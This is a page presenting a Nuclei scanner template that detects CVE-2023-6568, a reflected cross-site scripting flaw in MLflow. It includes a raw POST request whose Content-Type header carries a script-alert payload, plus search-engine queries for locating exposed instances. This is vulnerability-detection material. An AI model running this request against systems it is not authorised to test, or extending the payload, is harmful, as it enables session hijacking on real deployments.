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Mlflow - Cross-Site Scripting

ID: CVE-2023-6568

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,mlflow,xss

Description

Section titled “Description”

The vulnerability allows an attacker to inject malicious code into the Content-Type header of a POST request,which is then reflected back to the user without proper sanitization or escaping.

YAML Source

Section titled “YAML Source”
id: CVE-2023-6568


info:
  name: Mlflow - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The vulnerability allows an attacker to inject malicious code into the Content-Type header of a POST request,
    which is then reflected back to the user without proper sanitization or escaping.
  impact: |
    Allows attackers to execute malicious scripts in the context of a user's session
  remediation: |
    Sanitize and validate user input to prevent XSS attacks
  reference:
    - https://huntr.com/bounties/816bdaaa-8153-4732-951e-b0d92fddf709
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6568
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6568
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query: app="MLflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,xss


http:
  - raw:
      - |
        POST /api/2.0/mlflow/users/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: <script>alert(document.domain)</script>


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Invalid content type:"
        condition: and


      - type: word
        part: content_type
        words:
          - 'text/html'


      - type: status
        status:
          - 400
# digest: 490a00463044022043ccf3e331cc2a0eb844f6a538936bbd042a190cef502c5e83c1e870aca648c102207b7d3c10da1f9aae8a562599a547bc500a14b73b05984af5968dd2237c92a857:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6568.yaml"

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